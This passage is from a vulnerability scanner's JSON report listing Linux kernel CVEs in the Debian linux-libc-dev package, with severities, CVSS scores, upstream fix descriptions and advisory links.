"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/linus/6036b5067a8199ba7a2dc7b377d4b9dd276d5f9e%20%287.1-rc3%29", "https://git.kernel.org/stable/c/0526931b16e5a118d367b7bfce7d797e63f7ac69", "https://git.kernel.org/stable/c/1c4ffe6b4f04365485ed58d64c9bb86b46fc9037", "https://git.kernel.org/stable/c/21e87f336ac6303fed54a69b1d0d79a23b25c8d0", "https://git.kernel.org/stable/c/3fd225f3e4cd67ec8ddab1afed9da03c7c43537c", "https://git.kernel.org/stable/c/4bd8635f28c135a08aac6badcd7d9b5cdb34335f", "https://git.kernel.org/stable/c/5f4d2bd028ebb6e4c09a9d64842546022321d4a7", "https://git.kernel.org/stable/c/6036b5067a8199ba7a2dc7b377d4b9dd276d5f9e", "https://git.kernel.org/stable/c/7e9072dbd5f2f17934751873450d2c22080ead80", "https://linux.oracle.com/cve/CVE-2026-64191.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026072052-CVE-2026-64191-42fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64191", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64191" ], "PublishedDate": "2026-07-20T17:18:22.217Z", "LastModifiedDate": "2026-10-19T21:17:26.73Z" }, { "VulnerabilityID": "CVE-2026-64218", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64218", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:61b3931e0bcc9b2eaf6ce307b8193a14be36abd49e17c2d8d3906981de1ab31d", "Title": "kernel: batman-adv: bla: fix report_work leak on backbone_gw purge", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbatman-adv: bla: fix report_work leak on backbone_gw purge\n\nbatadv_bla_purge_backbone_gw() removes stale backbone gateway entries,\nbut fails to properly handle their associated report_work:\n\n- If report_work is running, the purge must wait for it to finish before\n freeing the backbone_gw, otherwise the worker may access freed memory\n (e.g. bat_priv).\n- If report_work is pending, the purge must cancel it and release the\n reference held for that pending work item.\n\nThe previous implementation called hlist_for_each_entry_safe() inside a\nspin_lock_bh() section, but cancel_work_sync() may sleep and therefore\ncannot be called from within a spinlock-protected region.\n\nRestructure the loop to handle one entry per spinlock critical section:\nacquire the lock, find the next entry to purge, remove it from the hash\nlist, then release the lock before calling cancel_work_sync() and\ndropping the hash_entry reference. Repeat until no more entries require\npurging.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64218", "https://git.kernel.org/linus/0459430add32ea41f3e2ef9351610e6d33627a6b%20%287.1-rc5%29", "https://git.kernel.org/stable/c/0459430add32ea41f3e2ef9351610e6d33627a6b", "https://git.kernel.org/stable/c/3423a45e5c3d3c5129f88143a9a969787d7d5a0a", "https://git.kernel.org/stable/c/48663158222b3b7f6ee6791a67d512ede7fc94bb", "https://git.kernel.org/stable/c/95a7034661274cf5985708bd2f6d86ee46f88fa9", "https://git.kernel.org/stable/c/c6de1a5a9c406e30b91f1515a6ce05cc84023baa", "https://git.kernel.org/stable/c/ce2c0ee4d76d5ee4b391fe0e31334361e25030ec", "https://git.kernel.org/stable/c/eeddd7bab3d59c1e98642a204141f8c5d6194707", "https://git.kernel.org/stable/c/f1303adb1e59582f76c22798a2e2e150e054a9e7", "https://linux.oracle.com/cve/CVE-2026-64218.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026072415-CVE-2026-64218-ea1d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64218", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64218" ], "PublishedDate": "2026-07-24T16:16:49.52Z", "LastModifiedDate": "2026-08-11T18:26:37.047Z" }, { "VulnerabilityID": "CVE-2026-64219", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64219", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e612d2a8b06b9d1160894b7a3b1535c8b45c700a1613eee6c8d03b8225069fc8", "Title": "kernel: drm/amd/display: Validate payload length and link_index in dc_process_dmub_aux_transfer_async", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Validate payload length and link_index in dc_process_dmub_aux_transfer_async\n\n[Why\u0026How]\ndc_process_dmub_aux_transfer_async() copies payload-\u003elength bytes into a\n16-byte stack buffer (dpaux.data[16]) guarded only by an ASSERT(), which\nis a no-op in release builds. If a caller ever passes length \u003e 16 this\nresults in a stack buffer overflow via memcpy.\n\nAdditionally, link_index is used to dereference dc-\u003elinks[] without\nbounds checking against dc-\u003elink_count, risking an out-of-bounds access.\n\nReplace the ASSERT with a hard runtime check that returns false when\npayload-\u003elength exceeds the destination buffer size, and add a bounds\ncheck for link_index before it is used.\n\n(cherry picked from commit ba4caa9fecdf7a38f98c878ad05a8a64148b6881)", "Severity": "HIGH", "CweIDs": [ "CWE-674", "CWE-121" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64219", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/6c92f6d9600efa3ef0d9e560a2b52776d9803c29%20%287.1-rc5%29", "https://git.kernel.org/stable/c/16a5fa57565afb6bf37e18129921c270c93d8e2b", "https://git.kernel.org/stable/c/1c8c6e912f2945b2a3e669afca6b52174b88e86e", "https://git.kernel.org/stable/c/1ecde19bfce6535bffddad1139ff466b6d401b8e", "https://git.kernel.org/stable/c/3265f3ed373fb8048be713aadcdf702579a0e53d", "https://git.kernel.org/stable/c/6c92f6d9600efa3ef0d9e560a2b52776d9803c29", "https://git.kernel.org/stable/c/90c398e822ca76e40548df0c061dd4f93ea92d71", "https://git.kernel.org/stable/c/d6590e3f766e3111dd1beaf88b9384d117acfa6b", "https://linux.oracle.com/cve/CVE-2026-64219.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026072416-CVE-2026-64219-75c3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64219", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64219" ], "PublishedDate": "2026-07-24T16:16:49.67Z", "LastModifiedDate": "2026-10-19T21:17:27.287Z" }, { "VulnerabilityID": "CVE-2026-64221", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f8326a2365fa4cb4360dea34a6088ee52f3cec01c24f9cda0c0d2b159956f18c", "Title": "kernel: Linux kernel: spi: ti-qspi use-after-free allows privilege escalation or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: ti-qspi: fix use-after-free after DMA setup failure\n\nThe driver falls back to PIO mode if DMA setup fails during probe.\n\nMake sure to clear the DMA channel pointer also if buffer allocation\nfails to avoid passing a pointer to the released channel to the DMA\nengine (or trying to free the channel a second time on late probe errors\nor driver unbind).\n\nThis issue was flagged by Sashiko when reviewing a devres allocation\nconversion patch.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64221", "https://git.kernel.org/linus/ea6ec3343e05f7937a53eb6d7617b3abdb4abc19%20%287.1-rc5%29", "https://git.kernel.org/stable/c/178b9b570c0f75fa7e691490520328b20d19138e", "https://git.kernel.org/stable/c/1cd927002120678bd5d23c760246639caa53040e", "https://git.kernel.org/stable/c/3bbbe7ae3fdada0df4157c1ffe989f92dfa8dcd6", "https://git.kernel.org/stable/c/9c6f306a8140962c7284197db54b96fdb5f468d6", "https://git.kernel.org/stable/c/d6f422b122922d1abee907d673bcc990e5f3672d", "https://git.kernel.org/stable/c/d7a076fb596c7b408ed6df74793a597990a6d860", "https://git.kernel.org/stable/c/ea6ec3343e05f7937a53eb6d7617b3abdb4abc19", "https://git.kernel.org/stable/c/f2dc841d7dc9063fe9b47ced869b1271e55052ae", "https://lore.kernel.org/linux-cve-announce/2026072416-CVE-2026-64221-299d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64221", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64221" ], "PublishedDate": "2026-07-24T16:16:49.923Z", "LastModifiedDate": "2026-08-11T18:25:02.363Z" }, { "VulnerabilityID": "CVE-2026-64225", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64225", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2915f2807b6c3d4eb1d5e179844da4e8d5bbb19725b209d3591583e3de476d9d", "Title": "kernel: octeontx2-af: CGX: add bounds check to cgx_speed_mbps index", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nocteontx2-af: CGX: add bounds check to cgx_speed_mbps index\n\ncgx_speed_mbps has 13 elements but RESP_LINKSTAT_SPEED can yield values\n0-15. If it returns a value \u003e= 13, this causes an out-of-bounds array\naccess. Add a bounds check and default to speed 0 if the index is out of\nrange.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64225", "https://git.kernel.org/linus/c0bf0a4f3f1f5f57aa83e1400ba4f56f0abfd542%20%287.1-rc5%29", "https://git.kernel.org/stable/c/2c3d26b4a62454945ba9ef3af3174d3e40e7afef", "https://git.kernel.org/stable/c/47a4cf2229be379cf88f92e32e1240337cd6273f", "https://git.kernel.org/stable/c/8201bf45cc7c1c1a09290c4db8ab1e19801f8fec", "https://git.kernel.org/stable/c/93d3dc81098cd60fb74d434ba7985ddfd9de5acb", "https://git.kernel.org/stable/c/94071141f00bc414e8f8f7f5db3b5143d535299f", "https://git.kernel.org/stable/c/985b5e38ac4f4d5ff03c8bfd8484353b440a1579", "https://git.kernel.org/stable/c/c0bf0a4f3f1f5f57aa83e1400ba4f56f0abfd542", "https://git.kernel.org/stable/c/e043017ac429caee73bd30c5a725659f1a3a4568", "https://lore.kernel.org/linux-cve-announce/2026072417-CVE-2026-64225-a263@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64225", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64225" ], "PublishedDate": "2026-07-24T16:16:51.44Z", "LastModifiedDate": "2026-11-06T17:18:42.267Z" }, { "VulnerabilityID": "CVE-2026-64237", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64237", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f9f2d14a4d7e6dcd833ded687cf199cdda1b6c8ec699a2c0ae81e29e7680abb1", "Title": "kernel: Input: elan_i2c - validate firmware size before use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: elan_i2c - validate firmware size before use\n\nEnsure that the firmware file is large enough to contain the expected\nnumber of pages and the signature (which resides at the end of the\nfirmware blob) before accessing them to prevent potential out-of-bounds\nreads.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64237", "https://git.kernel.org/linus/76b0d0baa9ae9c60e726bbe1b6ff0bec2c993634%20%287.1-rc6%29", "https://git.kernel.org/stable/c/331d49b4e1c9efe4479bbd22922dfcdd8c64be7b", "https://git.kernel.org/stable/c/3b37190ad3ded3a15fb1dbfc4f26df520a3e59bb", "https://git.kernel.org/stable/c/47b52b98edfe34d0249e72f815215ef24311c3a3", "https://git.kernel.org/stable/c/48b0aa9c08a3ac8e0c0345b7ca581f552324e460", "https://git.kernel.org/stable/c/76b0d0baa9ae9c60e726bbe1b6ff0bec2c993634", "https://git.kernel.org/stable/c/bf769358419e00344c1b16fa034d058f563d46a1", "https://git.kernel.org/stable/c/c2c3b33b3c0bf2c9427c0926817ef5ffac50de6f", "https://git.kernel.org/stable/c/d97baee9590edf303b3eca432e61de9320834fe1", "https://linux.oracle.com/cve/CVE-2026-64237.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072440-CVE-2026-64237-3f9f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64237", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64237" ], "PublishedDate": "2026-07-24T16:16:52.96Z", "LastModifiedDate": "2026-11-06T17:18:43.12Z" }, { "VulnerabilityID": "CVE-2026-64242", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64242", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:01e9a8aec43b75f0209969734f7d9aa079a2ba6452711be0e66d796e3b9e8fa3", "Title": "kernel: usb: gadget: net2280: Fix double free in probe error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: net2280: Fix double free in probe error path\n\nusb_initialize_gadget() installs gadget_release() as the release\ncallback for the embedded gadget device. The struct net2280 instance is\ntherefore released through gadget_release() when the gadget device's last\nreference is dropped.\n\nThe probe error path calls net2280_remove(), which tears down the\npartially initialized device and drops the gadget reference with\nusb_put_gadget(). Calling kfree(dev) afterwards can free the same object\nagain.\n\nDrop the explicit kfree() and let the 